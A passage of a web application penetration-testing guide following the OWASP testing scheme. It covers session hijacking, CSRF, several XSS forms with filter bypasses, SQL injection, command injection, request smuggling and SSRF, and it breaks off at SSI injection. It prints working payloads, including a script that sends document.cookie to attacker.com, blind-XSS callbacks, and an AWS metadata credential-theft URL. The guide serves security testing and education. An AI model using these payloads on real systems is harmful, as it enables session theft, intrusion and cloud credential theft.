Main Heading: `WSTG-SESS-09 - Testing for Session Hijacking` (Note: WSTG-SESS-06 is Logout Functionality)

Objective: Our goal is to find and exploit weaknesses that would allow us to steal a victim's active session token, allowing us to impersonate them completely.

Core Concept Explained:

Session Hijacking is the ultimate goal of many other attacks. It is not a single vulnerability but the result of other weaknesses. A successful hijack means the attacker has obtained a valid session token and can use it to make authenticated requests as the victim.

Impact:

- **Critical Risk:** A successful session hijack results in a full account compromise. The attacker can perform any action that the legitimate user can, including accessing private data, making financial transactions, and changing account details.

Tooling:

- Burp Suite
- A network sniffer like Wireshark

Methodology:

This test involves combining the findings from several other tests to create an attack chain.

1. **Exploit an XSS Vulnerability:** The most common method. If we find a Stored or Reflected XSS flaw, we use a payload to steal the victim's cookie and send it to our own server:

```
<script>document.location='http://attacker.com/steal?cookie=' + document.cookie;  
</script>.
```
2. **Intercept Unencrypted Traffic:** If we find that the application does not enforce HTTPS correctly and sends the session cookie over an unencrypted connection, we can use a network sniffer like Wireshark to capture the cookie in transit.
3. **Guess a Predictable Token:** If our analysis of the session management schema reveals that the tokens are predictable (low entropy), we can attempt to guess or calculate the session token of another active user.
4. **Use the Stolen Token:** Once we have obtained a victim's session token, we use our browser's developer tools or a proxy to inject that cookie into our own browser session and access the application.

Unsuccessful Response (Vulnerable Application):

We successfully obtain a victim's session cookie via an XSS attack. When we inject this cookie into our browser, we are immediately logged in as the victim and have full access to their account.

Successful Response (Secure Application):

The application is not vulnerable to XSS. It enforces HTTPS, preventing sniffing. Its session tokens are long, random, and unpredictable. There is no viable vector to steal a user's session token.

Activity 6.8: Test for Cross-Site Request Forgery (CSRF)

Main Heading: WSTG-SESS-05 - Testing for Cross Site Request Forgery

Objective: To verify that the application is protected against attacks that trick a logged-in user into unknowingly submitting a malicious request to perform a state-changing action (like changing their password, deleting data, or making a purchase).

Core Concept Explained:

CSRF is a "confused deputy" attack. The attacker creates a malicious webpage (e.g., `attacker.com`) that contains a hidden form. When the victim, who is already logged into the vulnerable application (`example.com`), visits the attacker's page, the browser automatically submits the hidden form to `example.com`. Since the victim is logged in, the browser automatically includes their session cookie, and the server processes the malicious request as if the victim made it intentionally.

The primary defense is an unpredictable, unique anti-CSRF token that is required for every state-changing request.

Methodology:

1. **Identify a State-Changing Request:** Log in and find a sensitive action, like the form for changing your email address.
2. **Capture a Legitimate Request:** Use Burp Suite to capture the `POST` request when you submit this form. Look for an anti-CSRF token in the request body or headers (e.g., `csrf_token`, `__RequestVerificationToken`, `X-CSRF-TOKEN`).
3. **Test the Token's Validity:**
 - **Drop the Token:** Send the request to Burp Repeater and completely remove the anti-CSRF token parameter. Send the request.
 - **Use a Blank Token:** Send the request again, but with a blank value for the token.
 - **Use a Stale Token:** Log out and log back in to get a new session. Try to use the token from your *previous* session.

Unsuccessful Response (Vulnerable Application):

The request is processed successfully even after the token was removed or invalidated. The server's response is a `200 OK` or `302 Redirect` indicating the email address was changed. This proves the application is not correctly validating the token.

Successful Response (Secure Application):

The server rejects the request with an error, typically `403 Forbidden` or `401 Unauthorized`, and a message like "CSRF token validation failed."

Phase 7: Input Validation Testing

Main Heading: `WSTG-INPV - Input Validation Testing`

Objective: To discover vulnerabilities that allow an attacker to inject malicious data into the application, which is then processed or rendered. This phase covers some of the most well-known and high-impact web vulnerabilities, including Cross-Site Scripting (XSS), SQL Injection (SQLi), and Command Injection. The core principle is that all user input must be treated as untrusted.

Activity 7.1: Test for Reflected Cross-Site Scripting (XSS)

Sub-heading: `WSTG-INPV-01 - Testing for Reflected Cross Site Scripting`

Objective: To determine if the application is vulnerable to an attack where malicious scripts are injected into a URL and immediately reflected back to the user's browser. The script is not stored permanently; it's only executed when the victim clicks a specially crafted link.

Pre-conditions:

- You have identified all application entry points where user input is reflected back on the page (e.g., search bars, URL parameters, error messages).

- A web proxy to observe and modify requests.

Impact:

- **High Risk:** 🚩 A successful XSS attack executes in the victim's browser with the same level of permission as the legitimate application. This allows an attacker to **steal session cookies**, perform actions on behalf of the user (e.g., change their password, post messages), redirect the user to a malicious site, or capture keystrokes.

Method: Injecting Payloads into URL Parameters

This is the most common vector for Reflected XSS.

1. **Identify Reflection Points:** Find a part of the application that takes input from the URL and displays it on the page. A search function is a perfect example.
 - `https://example.com/search?query=test`
 - The page will likely display: "Showing results for: **test**"
2. **Inject a Simple Payload:** Replace the normal input (`test`) with a basic HTML payload to see if the application renders it.
 - Craft a URL: `https://example.com/search?query=<b>XSS-Test</b>`
 - If the page displays "Showing results for: **XSS-Test**" in bold text, you have confirmed that the application is rendering raw HTML. This is a very strong indicator of a vulnerability.
3. **Inject a Benign Script Payload:** Now, try to execute JavaScript. The most common and harmless payload for proving XSS is `<script>alert(1)</script>`.
 - Craft the URL: `https://example.com/search?query=<script>alert(1)</script>`
 - Visit the URL in your browser.

Unsuccessful Response (Vulnerable Application):

The browser executes your script, and a pop-up alert box with the number 1 appears. This is definitive proof of an XSS vulnerability.

- Request URL:
GET /search?query=<script>alert(1)</script> HTTP/1.1

- **Server's Vulnerable Response Body:**

HTML

```
<h1>Search Results</h1>
<p>Showing results for: <script>alert(1)</script></p>
```

Successful Response (Secure Application):

The application properly sanitizes the input by using output encoding. The special characters `<` and `>` are converted into their safe HTML entity equivalents (`<` and `>`), which the browser renders as literal text

instead of executing as code.

- Request URL:
GET /search?query=<script>alert(1)</script> HTTP/1.1
- **Server's Secure Response Body:**
HTML

```
<h1>Search Results</h1>
<p>Showing results for: &lt;script&gt;alert(1)&lt;/script&gt;</p>
```

No alert box appears, and the malicious string is displayed harmlessly on the page. This confirms the application is secure against this basic XSS vector.

Activity 7.2: Test for Stored Cross-Site Scripting (XSS)

Sub-heading: WSTG-INPV-02 - Testing for Stored Cross Site Scripting

Objective: To determine if the application is vulnerable to an attack where a malicious script is injected by an attacker, **permanently stored** on the target server (e.g., in a database), and then served to other users when they browse the page containing the stored data. Unlike Reflected XSS, this does not require the victim to click a special link.

Pre-conditions:

- You have identified an input field where user data is stored and displayed to others. Common examples include: **comment sections, user profile bios, forum posts, or product reviews.**
- A user account with privileges to submit data to these fields.

Impact:

- **Critical Risk:** 🚨 Stored XSS is generally more severe than Reflected XSS because its scope is wider. A single injection can compromise **every user** who views the compromised page, including administrators. This can lead to large-scale session hijacking, deployment of malware, or a site-wide compromise if an admin's session is stolen.

Method: Injecting and Retrieving a Stored Payload

1. **Identify an Injection Point:** Find a feature where you can enter text that will be displayed to other users. A user profile "Biography" field or a "Comments" section is a perfect target.
2. **Inject the Payload:** In the biography or comment field, enter a basic script payload and save it.
 - Payload: `<script>alert(document.cookie)</script>`
 - This payload will attempt to display the user's cookies in an alert box.
3. **Submit the Form:** Save your profile or post the comment. The application will store your malicious string in its database.

4. Trigger the Payload:

- Log out of your current user account.
- Log in as a **different user** (or browse the page as a guest).
- Navigate to the page where the malicious data is displayed (e.g., the first user's profile page or the comments section).

Unsuccessful Response (Vulnerable Application)

When the second user (the victim) views the page, their browser will render the page content, including your stored script. The script executes, and an alert box appears, displaying the *victim's* cookies.

- **Attacker's Request to Store the Payload:**

HTTP

```
POST /profile/update HTTP/1.1
Host: example.com
Cookie: sessionID=Attacker_Session_Cookie

bio=<script>alert(document.cookie)</script>&other_data=...
```

- **Victim's Request to View the Page:**

HTTP

```
GET /profile/view?user_id=attacker HTTP/1.1
Host: example.com
Cookie: sessionID=Victim_Session_Cookie
```

- **Server's Vulnerable Response to Victim:**

HTML

```
<h1>Attacker's Profile</h1>
<p>Biography: <script>alert(document.cookie)</script></p>
```

This confirms the application is vulnerable to Stored XSS.

Successful Response (Secure Application)

The application correctly encodes the attacker's input before rendering it on the page for the victim. The victim's browser displays the malicious string as plain text instead of executing it.

- **Server's Secure Response to Victim:**

HTML

```
<h1>Attacker's Profile</h1>
<p>Biography: &lt;script&gt;alert(document.cookie)&lt;/script&gt;</p>
```

No alert box appears. The page is safe.

Activity 7.3: Advanced Cross-Site Scripting (XSS)

This section details the advanced methodologies required to find and exploit XSS vulnerabilities in modern, well-defended applications. We will explore vectors that bypass common filters and execute in non-obvious contexts.

Activity: Deep Dive into Cross-Site Scripting (XSS)

Sub-Activity 7.3.1: Stored XSS - Advanced Vectors (Blind XSS)

Objective: To identify stored XSS vulnerabilities where the reflection point is not visible to the attacker. The payload is stored by the application and executed later in a completely different context, such as an internal admin panel, a log viewer, or a generated email report.

Core Concept Explained:

In a **Blind XSS** attack, you inject a payload into an input field, and it gets stored. However, you have no direct way to view the page where it will render. The "reflection" happens when another user (often an administrator) views an internal application that processes your stored data. Your goal is to make the payload "call back" to you when it executes.

Impact:

- **Critical Risk:** 🚨 This is a highly effective way to compromise privileged users. A successful Blind XSS can lead to the hijacking of an administrator's session, giving the attacker full control over the application.

Methodology: Using a Callback Hunter

1. **Identify Potential Injection Points:** Inject your payload into every single input field you can find, especially those that seem to be for internal use:
 - Feedback or "Contact Us" forms.
 - User profile fields (First Name, Last Name, Address).
 - Log-in usernames.
 - HTTP headers that might be logged (e.g., `User-Agent`, `Referer`).
2. **Craft a Callback Payload:** Instead of a simple `alert()`, you need a payload that will exfiltrate information from the victim's browser to a server you control. The industry standard is to use a framework like **XSS Hunter**.
 - **XSS Hunter Payload:** This framework provides you with a unique domain and a simple payload to use.

```
<script src=//your-unique-id.xss.ht></script>
```

3. **Inject Everywhere:** Systematically inject this payload across the application.

4. **Wait for the Callback:** When a victim (e.g., an admin viewing a support ticket) loads a page containing your payload, the script will execute. It will then capture a wealth of information—the victim's cookies, the DOM of the page, their IP address, the vulnerable URL—and send a full report to your XSS Hunter dashboard.

Unsuccessful Response (Vulnerable Application):

You receive an email or a dashboard notification from your XSS Hunter instance. The report contains the session cookies of the user who viewed the page, proving the attack was successful.

Successful Response (Secure Application):

The application properly sanitizes all inputs before storing them. You never receive a callback on your XSS Hunter dashboard.

Activity 7.4: Test for DOM-based Cross-Site Scripting (DOM XSS)

Sub-heading: WSTG-CLNT-01 - Testing for DOM-based Cross Site Scripting

Objective: To find XSS flaws that occur when client-side JavaScript takes data from a user-controllable **source** (like the URL fragment `#`) and passes it into a dangerous **sink** (a function that can execute code, like `innerHTML`) without proper sanitization. The key difference from other XSS is that the malicious payload is never sent to the server; the entire vulnerability exists and executes within the DOM in the victim's browser.

Pre-conditions:

- A web browser with developer tools (the JavaScript Console and Debugger are essential).
- Knowledge of common JavaScript sources (`location.hash`, `location.search`) and sinks (`innerHTML`, `document.write()`, `eval()`).

Impact:

- **High Risk:** 🌟 The impact is identical to other forms of XSS. A successful attack can lead to **session hijacking, credential theft, keylogging, and phishing**, as the malicious script runs with the full permissions of the legitimate website in the user's browser.

Method: Manipulating the URL Fragment (`#`)

The URL fragment (everything after the `#`) is a perfect vector for DOM XSS because it is processed by the browser but **never sent to the server**, which means server-side defenses and web application firewalls (WAFs) will not see it.

1. Find a Potential Source: Look for applications (especially Single Page Applications - SPAs) that use the URL fragment to manage state or display content. For example:

<https://example.com/profile#user=JohnDoe>

2. **Identify the Sink:** Manually review the site's JavaScript files (`.js`) or use the browser's debugger.

Look for code that reads from `location.hash`.

- **Vulnerable Code Snippet:**

JavaScript

```
// Reads the username from the hash and writes it to the page  
var username = window.location.hash.split('=')[1];  
document.getElementById('welcome-message').innerHTML = "Welcome, " +  
username;
```

3. **Inject a Payload:** Craft a URL where the value in the fragment is a malicious script.

- `https://example.com/profile#user=<img src=x onerror=alert(document.domain)>`

4. **Visit the URL and Observe:** Open the crafted URL in your browser.

Unsuccessful Response (Vulnerable Application)

The client-side script takes the payload from the URL fragment and writes it directly into the DOM using the `innerHTML` sink. The browser parses this string as HTML, finds the invalid image source (`src=x`), triggers the `onerror` event, and executes the JavaScript, causing an alert box to appear.

- Attacker's URL:

https://example.com/profile#user=

- **Result:** An alert box pops up displaying `example.com`. This is definitive proof of DOM-based XSS. The server logs will show a request for `/profile` with no indication of an attack.

Successful Response (Secure Application)

The application's JavaScript uses a safe sink to write the data to the page, or it properly sanitizes the data before using it.

- **Secure Code Snippet:**

JavaScript

```
// Uses the .textContent property, which does not parse HTML  
var username = window.location.hash.split('=')[1];  
document.getElementById('welcome-message').textContent = "Welcome, " + username;
```

- **Result:** The page will display the literal, harmless text:

Welcome, `<img src=x onerror=alert(document.domain)>`

No alert box appears, proving the application is secure against this vector.

Sub-Activity 7.4.1: DOM-Based XSS - Sources and Sinks Analysis

Objective: To systematically identify and exploit DOM XSS by mapping the flow of data from user-controllable **sources** to dangerous JavaScript functions, known as **sinks**.

Core Concept Explained:

DOM XSS exists entirely in the browser. It's a logic flaw in the client-side JavaScript.

- **Sources:** JavaScript objects that can be controlled by an attacker. The most common is the URL.
 - `location.href`
 - `location.hash`
 - `location.search`
 - `document.referrer`
- **Sinks:** Functions or properties that can execute script if they are passed malicious data.
 - `element.innerHTML = ...`
 - `element.outerHTML = ...`
 - `document.write(...)`
 - `eval(...)`

Methodology: Code Review and Debugging

1. **Find Dangerous Sinks:** Use your browser's developer tools (Ctrl+Shift+F) to search across all of the application's `.js` files for dangerous sink keywords like `innerHTML` or `document.write`.
2. **Trace the Data Source:** When you find a sink, place a **breakpoint** on that line in the debugger. Refresh the page and interact with it to trigger the breakpoint. When the code pauses, inspect the variable being passed into the sink. The "Call Stack" in the debugger will show you the chain of functions that led to this point, allowing you to trace the data back to its original source.
3. **Exploit the Source-to-Sink Path:** If you find that a sink is being populated by a controllable source (like `location.hash`), you can craft a payload.

Example Scenario:

- You find the following code: `document.write(decodeURIComponent(location.hash));`
- **Sink:** `document.write()`
- **Source:** `location.hash`
- **Exploitation:** You can craft a URL with a script payload in the hash.
`https://example.com/page#<img src=x onerror=alert(1)>`

Activity 7.5: Advanced XSS Filter Evasion & Bypasses

Objective: To bypass Web Application Firewalls (WAFs) and input filters that are designed to block common XSS payloads.

A professional must assume that basic payloads like `<script>alert(1)</script>` will be blocked. The art of XSS lies in finding the gaps in the filter's logic.

- If `<script>` is blocked:
 - **Bypass with Event Handlers:** These are attributes in HTML tags that execute JavaScript when an event occurs.
 - `<img src=x onerror=alert(1)>` (Most common: triggers on an error)
 - `<svg onload=alert(1)>` (Triggers when the element loads)
 - `<body onpageshow=alert(1)>`
 - `<details open ontoggle=alert(1)>`
- If parentheses `()` are blocked:
 - **Bypass with Template Literals:** Backticks (```) can be used to call functions.
 - `<svg onload=alert`1`>`
 - **Bypass with `onerror` and `throw`:** Assign `alert` to be the global error handler, then throw an exception to trigger it.
 - `<img src=x onerror="window.onerror=alert;throw 1">`
- If space characters are blocked:
 - **Bypass with Slashes or Other Whitespace:** Many browsers will interpret a slash (`/`) as a valid separator between an HTML tag and its attributes.
 - `<img/src=x/onerror=alert(1)>`
- If keywords like `document.cookie` are blocked:
 - **Bypass with String Manipulation & Encodings:** Build the forbidden string using concatenation or access object properties using bracket notation.
 - `alert(document['coo' + 'kie'])`
 - `alert(window['document']['cookie'])`

This concludes our advanced look at XSS. We have now covered how to find vulnerabilities in non-obvious places and how to bypass common defenses.

Activity 7.6: Test for SQL Injection (SQLi)

Sub-heading: `WSTG-INPV-05 - Testing for SQL Injection`

Objective: To determine if an attacker can manipulate the SQL queries that an application makes to its database. If an application is vulnerable, an attacker can inject their own SQL commands to bypass security controls, extract sensitive data, modify or delete data, and in some cases, take full control of the database server.

Pre-conditions:

- You have identified an input field that is likely used to build a database query. Common examples include: **login forms, search fields, and URL parameters that retrieve specific items** (e.g., `?product_id=123`, `?user_id=abc`).

Impact:

- **Critical Risk:** 🌟 SQL Injection is a game-over vulnerability. A successful attack can lead to a **complete compromise of the database**, allowing an attacker to steal all user data (passwords, personal information, credit card numbers), modify application data, or even achieve Remote Code Execution (RCE) on the database server itself.

Method: Inducing Errors with a Single Quote

The simplest and most classic technique to detect SQLi is to insert a single quote (') into the input parameter and observe the server's response. This character is used to terminate strings in SQL. If the application is vulnerable, your injected quote will break the syntax of the backend SQL query, causing the database to return an error.

1. **Identify an Injection Point:** Find a URL parameter that retrieves data, such as `https://example.com/products?id=5`.
2. **Inject a Single Quote:** Append a single quote (') to the value of the parameter.
 - Change the URL to: `https://example.com/products?id=5'`
3. **Submit the Request:** Send the request by visiting the URL in your browser or using Burp Repeater.
4. **Analyze the Response:** Carefully examine the page content and the HTTP status code. A vulnerable application will often respond with a `500 Internal Server Error` and a detailed, verbose database error message.

Unsuccessful Response (Vulnerable Application)

The application fails to handle the single quote and leaks a specific database error message to the front end. This is a definitive sign of SQL Injection.

- **Attacker's Request:**

HTTP

```
GET /products?id=5' HTTP/1.1
Host: example.com
```

- **Server's Vulnerable Response:**

The page breaks and shows a raw database error.

HTML

```
HTTP/1.1 500 Internal Server Error
```

```
...
```

```
<b>Database Error:</b> You have an error in your SQL syntax;  
check the manual that corresponds to your MySQL server version for  
the right syntax to use near ''' at line 1
```

This error message confirms that:

1. The input is being passed directly into an SQL query.
2. The application is vulnerable to SQL Injection.
3. The backend database is MySQL.

Successful Response (Secure Application)

The application correctly handles the malicious input. It either displays no results or shows a generic, user-friendly error message, but **it does not leak any database-specific errors**.

- **Attacker's Request:**

HTTP

```
GET /products?id=5' HTTP/1.1  
Host: example.com
```

- **Server's Secure Response:**

The page loads normally, showing a message like "No products found" or "Invalid product ID."

HTML

```
HTTP/1.1 200 OK
```

```
...
```

```
<h1>Our Products</h1>  
<p>Sorry, no product was found matching that ID.</p>
```

This indicates the application is using **parameterized queries** or properly sanitizing its input, which is the correct defense against SQLi.

Activity 7.7: Blind SQL Injection Techniques

The initial test for SQLi (🔍) is great for finding **Error-Based SQLi**. However, when an application is configured not to show errors, we must use more advanced techniques.

Sub-Activity 7.7.1: Test for Blind SQL Injection (Boolean-Based)

Objective: To confirm an SQLi vulnerability when the application does not return database errors, but responds differently to logically true or false conditions.

1. **Identify the Target:** Start with a parameter that returns a known page, like `?id=10`.

2. **Inject a TRUE Condition:** Append a logically true statement. The page should load normally, as if nothing changed.

- `?id=10' AND '1'='1`

3. **Inject a FALSE Condition:** Append a logically false statement.

- `?id=10' AND '1'='2`

Unsuccessful Response (Vulnerable):

The application's response for the FALSE condition is different from the response for the TRUE condition. For example, the page might show a "Product not found" message for the false condition, while loading normally for the true one. This confirms you can control the query's logic.

Successful Response (Secure):

The application treats both injections as invalid input and responds the same way for both (e.g., "Invalid ID").

Sub-Activity 7.7.2: Test for Blind SQL Injection (Time-Based)

Objective: To confirm an SQLi vulnerability when the application's response does not change at all. We instead force the database to perform a time-consuming action (like sleeping) if a condition is true.

1. **Inject a Time-Delay Payload:** Append a command that tells the database to wait for a specific number of seconds. The syntax varies by database:

- **MySQL:** `... AND SLEEP(5)--`
- **PostgreSQL:** `... AND PG_SLEEP(5)--`
- **MS SQL:** `...; WAITFOR DELAY '0:0:5'--`

2. **Example URL (for MySQL):**

[https://example.com/items?id=10' AND SLEEP\(5\)--](https://example.com/items?id=10' AND SLEEP(5)--)

Unsuccessful Response (Vulnerable):

The server's HTTP response is delayed by the amount of time you specified (e.g., 5 seconds). This is definitive proof you are executing commands on the database.

Successful Response (Secure):

The server responds immediately, indicating the SLEEP command was not executed.

Activity 7.8: Test for Command Injection

Sub-heading: `WSTG-INPV-12 - Testing for Command Injection`

Objective: To determine if it is possible to execute arbitrary commands on the operating system of the server hosting the application. This vulnerability occurs when an application passes unsanitized user input to a system shell. It is one of the most critical web vulnerabilities.

Pre-conditions:

- You have identified a feature that likely interacts with the server's operating system. Common examples include: **network diagnostic tools (ping, nslookup), image or file converters, or functions that generate reports.**

Impact:

- **Critical Risk:** 🚩 ⚡ A successful command injection attack leads directly to **Remote Code Execution (RCE)** on the server. The attacker gains a shell and can read/write files, install malware, pivot to other systems on the internal network, and completely take over the machine.

Method: Injecting Shell Command Separators

The goal is to terminate the intended command and inject a new one. We use characters that the operating system's shell interprets as command separators.

- **Linux Separators:** `;`, `|`, `&&`, ``command``, `$(command)`
- **Windows Separators:** `&`, `|`, `&&`

1. **Identify an Injection Point:** Find a function that takes input and uses it in a shell command. For example, a network lookup tool.
 - `https://example.com/tools/lookup.php?host=google.com`
 - The backend code might be running `nslookup google.com`.
2. **Inject a Separator and a Benign Command:** Append a command separator followed by a simple OS command. The `whoami` command is the perfect proof-of-concept as it's harmless and reveals the username the web server is running under (e.g., `www-data`, `apache`).
 - Craft the URL: `https://example.com/tools/lookup.php?host=google.com; whoami`
3. **Submit the Request and Analyze:** Visit the crafted URL and examine the output on the page.

Unsuccessful Response (Vulnerable Application)

The application executes both the intended command (`nslookup`) and the injected command (`whoami`). The output of both commands is displayed on the page.

- **Attacker's Request:**

HTTP

```
GET /tools/lookup.php?host=google.com;whoami HTTP/1.1
Host: example.com
```

- **Server's Vulnerable Response:**

The page shows the normal output of the lookup, immediately followed by the output of the injected command.

HTML

```
HTTP/1.1 200 OK

<h1>Lookup Results</h1>
<pre>
Server:          8.8.8.8
Address:         8.8.8.8#53

Non-authoritative answer:
Name:   google.com
Address: 142.250.74.78
www-data
</pre>
```

The presence of `www-data` at the end is definitive proof of Command Injection.

Successful Response (Secure Application)

The application correctly validates or sanitizes the input, preventing the shell from interpreting the separator.

- **Attacker's Request:**

HTTP

```
GET /tools/lookup.php?host=google.com;whoami HTTP/1.1
Host: example.com
```

- **Server's Secure Response:**

The application will likely return an error stating that the hostname is invalid because google.com;whoami is not a valid domain name.

HTML

```
HTTP/1.1 200 OK

<h1>Lookup Results</h1>
<pre>
** server can't find google.com;whoami: NXDOMAIN
</pre>
```

Crucially, the `whoami` command is **not executed**. This shows the application is secure against this attack.

Activity 7.9: Test for HTTP Verb Tampering

Main Heading: WSTG-INPV-03 - Testing for HTTP Verb Tampering

Objective: To bypass access control restrictions by changing the HTTP method (verb) of a request. A common flaw is when a developer implements a security check for a `GET` request on a specific endpoint but forgets to apply the same check for `POST`, `HEAD`, or other methods.

Methodology:

1. **Identify a Protected Endpoint:** Find a page or API endpoint that should require authentication (e.g., `/admin/dashboard` or `/api/v1/userdata`). Accessing it via `GET` without a session should result in a `403 Forbidden` or `401 Unauthorized` error.
2. **Use Burp Repeater:** Send the `GET` request to Burp Repeater.
3. **Change the Verb:** Systematically change the request method from `GET` to other verbs and observe the response. Try:
 - `POST`
 - `HEAD`
 - `PUT`
 - Even a non-standard verb like `HACK`

Unsuccessful Response (Vulnerable Application):

Changing the verb to `POST` (or another method) results in a `200 OK` response, and the content of the protected page is returned. This proves the access control check was incorrectly tied only to the `GET` method.

Successful Response (Secure Application):

The server consistently returns a `401/403` error regardless of the HTTP verb used, proving the access control logic is applied correctly to the endpoint itself, not just to a specific method.

Activity 7.10: Test for HTTP Request Smuggling

Main Heading: WSTG-INPV-15 - Testing for HTTP Request Splitting/Smuggling

Objective: To identify and exploit discrepancies in how a chain of servers (e.g., a front-end load balancer and a back-end web server) process the `Content-Length` (CL) and `Transfer-Encoding` (TE) headers. A successful attack allows us to "smuggle" a malicious, hidden HTTP request inside a legitimate one, which is then prepended to the next user's request, leading to session hijacking, cache poisoning, and security control bypasses.

Core Concept Explained:

This vulnerability is not about the application code itself, but the server architecture. A user sends one

request. The front-end server (e.g., Nginx) reads it and forwards it to the back-end server (e.g., Apache). The attack works if the front-end and back-end disagree on where the first request *ends*. This is achieved by sending an ambiguous request containing both `Content-Length` and `Transfer-Encoding: chunked` headers.

- **CL:** The `Content-Length` header declares the request body's size in bytes. It's one single block of data.
- **TE:** The `Transfer-Encoding: chunked` header means the body is sent in multiple chunks, and the request ends only when a chunk of size `0` is received.

The HTTP specification states that if both headers are present, `Transfer-Encoding` should take precedence. However, some servers do not comply, creating the vulnerability.

Impact:

- **Critical Risk:** 🚨 This is a devastating vulnerability. It can be used to:
 - **Bypass Security Rules:** Smuggle a request to a forbidden endpoint like `/admin`, as the front-end proxy only sees the innocent outer request.
 - **Session Hijacking:** Poison the socket so the next user's request gets your smuggled request prepended to it. If you smuggle a request to update an email address, the next user who makes a request will unknowingly have their email changed to yours.
 - **Web Cache Poisoning:** Trick the front-end cache into serving a malicious response for a legitimate resource.

Pre-conditions & Tooling:

- **Burp Suite Professional is essential.** Its "HTTP Request Smuggler" extension is the industry-standard tool for detection. Manual testing is extremely difficult.
- Understanding of the target's architecture (Is there a known proxy or load balancer?).

Methodology Part 1: Detection

Before you can exploit the vulnerability, you must find it. The most reliable way is a timing-based detection method. You send a request that will cause the back-end server to wait for more data if it's vulnerable, resulting in a noticeable time delay.

1. Open Burp Suite and send a normal `POST` request to the target's root (`/`).
2. Send the request to the Repeater.
3. Modify the request to probe for a **CL.TE** vulnerability (Front-end uses `Content-Length`, Back-end uses `Transfer-Encoding`).

```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Transfer-Encoding: chunked
```

1
A
X

Analysis:

- The front-end sees `Content-Length: 4` and forwards the body (`1\r\nA\r\nX`).
- If the back-end honors `Transfer-Encoding`, it reads the first chunk size (`1`) and the first chunk (`A`). It is now waiting for the next chunk size, but the front-end never sends it. The request hangs, and you get a timeout. **A timeout is a strong indicator of a potential vulnerability.**

Methodology Part 2: Confirmation & Exploitation

Once you have a timing-based indicator, you must confirm it with a practical attack.

Variant 1: CL.TE (Front-end honors CL, Back-end honors TE)

Here, the front-end forwards the entire request body based on `Content-Length`, but the back-end stops processing after the `0` chunk terminator. The remaining data is "smuggled."

- **Attack Request:**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13      # The length of the chunked body below (from "0" to "G")
Transfer-Encoding: chunked

0                        # Declares the end of the first (innocent) request's
body

GPOST /smuggled HTTP/1.1 # This is the smuggled request. The 'G' is just junk
data.
Host: vulnerable-website.com
Content-Length: 10

x=1
```

- **How it Works:**

1. The front-end sees `Content-Length: 13` and forwards the entire body.
2. The back-end sees `Transfer-Encoding: chunked`. It reads the `0`, sees the request is finished, and responds.
3. The remaining data (`GPOST /smuggled...`) is left on the socket.
4. The next request that arrives on this socket (from you or another user) will have the smuggled request prepended to it.

- **Expected Vulnerable Response:** Your first response will be normal. Your *next* request to the site will likely receive a strange error, such as a "404 Not Found" from `/smuggled` or a "405 Method Not Allowed" if you smuggle a POST to a GET-only endpoint. This confirms the attack.

Variant 2: TE.CL (Front-end honors TE, Back-end honors CL)

Here, the front-end processes the chunked encoding and forwards a "clean" request, but the back-end only reads the number of bytes specified by `Content-Length`, leaving the rest for smuggling.

- **Attack Request:**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3          # Back-end will only read 3 bytes ("5c\r\n")
Transfer-Encoding: chunked

5c                        # Hexadecimal for 92 bytes. Front-end will read 92
bytes.
GPOST /smuggled HTTP/1.1
Host: vulnerable-website.com
Content-Length: 10

x=1
0                        # The terminator for the front-end server
```

- **How it Works:**
 1. The front-end sees `Transfer-Encoding: chunked` and processes the request according to the chunk sizes (`5c` and `0`).
 2. The back-end ignores `Transfer-Encoding` and sees `Content-Length: 3`. It reads only 3 bytes (`5c\r\n`) and stops.
 3. The rest of the data (`GPOST /smuggled...`) is left on the socket to poison the next request.
- **Expected Vulnerable Response:** Similar to CL.TE, you will see an unexpected response on a subsequent request, confirming the smuggled request was processed.

Activity 7.11: Test for Server-Side Request Forgery (SSRF)

Main Heading: `WSTG-INPV-19 - Testing for Server-Side Request Forgery`

Objective: To identify functionality where an attacker can coerce the application server into making arbitrary HTTP requests to a domain of the attacker's choosing. This allows the attacker to use the web server as a proxy to scan internal networks, access internal services, and query cloud provider metadata endpoints.

Core Concept Explained:

This vulnerability occurs when the application takes a user-supplied URL and makes a request to it

without proper validation. For example, a feature that fetches an image from a URL, converts a webpage to a PDF, or queries a stock-checking API. An attacker can replace the intended external URL with an internal one.

Impact:

- **Critical Risk:** 🚩 SSRF is a pivot vulnerability. It turns an external, internet-facing server into a foothold within the internal network. This can lead to:
 - **Internal Network Port Scanning:** Probing internal IP addresses and ports.
 - **Accessing Internal Services:** Interacting with non-public services like internal admin panels, databases, or APIs.
 - **Cloud Credential Theft:** Accessing the cloud provider's metadata service (e.g., on AWS, `169.254.169.254`) to steal temporary IAM credentials, which can grant full control over the cloud account.

Methodology: Probing and Bypassing Defenses

1. **Identify Potential SSRF Vectors:** Find any functionality where the application fetches a remote resource based on user input.

- `?image_url=http://example.com/logo.png`
- `?report_url=http://anothersite.com/data`

2. Basic SSRF Probe (Callback):

- Replace the URL with a unique domain from a callback hunter service (like Burp Collaborator).
`?image_url=http://your-unique-id.burpcollaborator.net`
- **Vulnerable Response:** You receive a DNS lookup and an HTTP request on your Collaborator server, confirming the application is making requests.

3. Probe Internal Network:

- Attempt to access common internal IP addresses.
 - `?image_url=http://127.0.0.1/` (localhost)
 - `?image_url=http://localhost:8080/`
 - `?image_url=http://192.168.1.1/`
- **Vulnerable Response:** The application's error message will often be different for a valid internal IP versus an invalid one. A "Connection refused" error is different from a "DNS resolution failed" error, confirming the internal IP exists.

4. Attack Cloud Metadata Service (Primary Goal):

- All major cloud providers have a non-routable IP address used to provide metadata and credentials to running instances. The most famous is AWS's.

`?image_url=http://169.254.169.254/latest/meta-data/iam/security-credentials/`

- **Vulnerable Response:** If successful, the server's response will contain temporary AWS access keys, secret keys, and session tokens. 🤖

5. **Bypass Common Filters:** Developers often implement blocklists to prevent SSRF. Here are common bypasses:

- If `127.0.0.1` is blocked: Use alternative IP encodings.
 - **Decimal:** `http://2130706433/`
 - **Octal:** `http://0177.0.0.1/`
- If internal IPs are blocked: Use a DNS record that you control that resolves to an internal IP address (DNS Rebinding).
- If `http://` is blocked: Check for alternative URL schemes like `gopher://` or `ftp://` which can also be used to interact with internal services.

Activity 7.12: Test for Server-Side Include (SSI) Injection

Main Heading: `WSTG-INPV-08 - Testing for SSI Injection`

Objective: To inject Server-Side Include directives into an application that is configured to parse them. This can be used to include the contents of sensitive files or, on legacy systems, to execute arbitrary operating system commands.

Core Concept Explained:

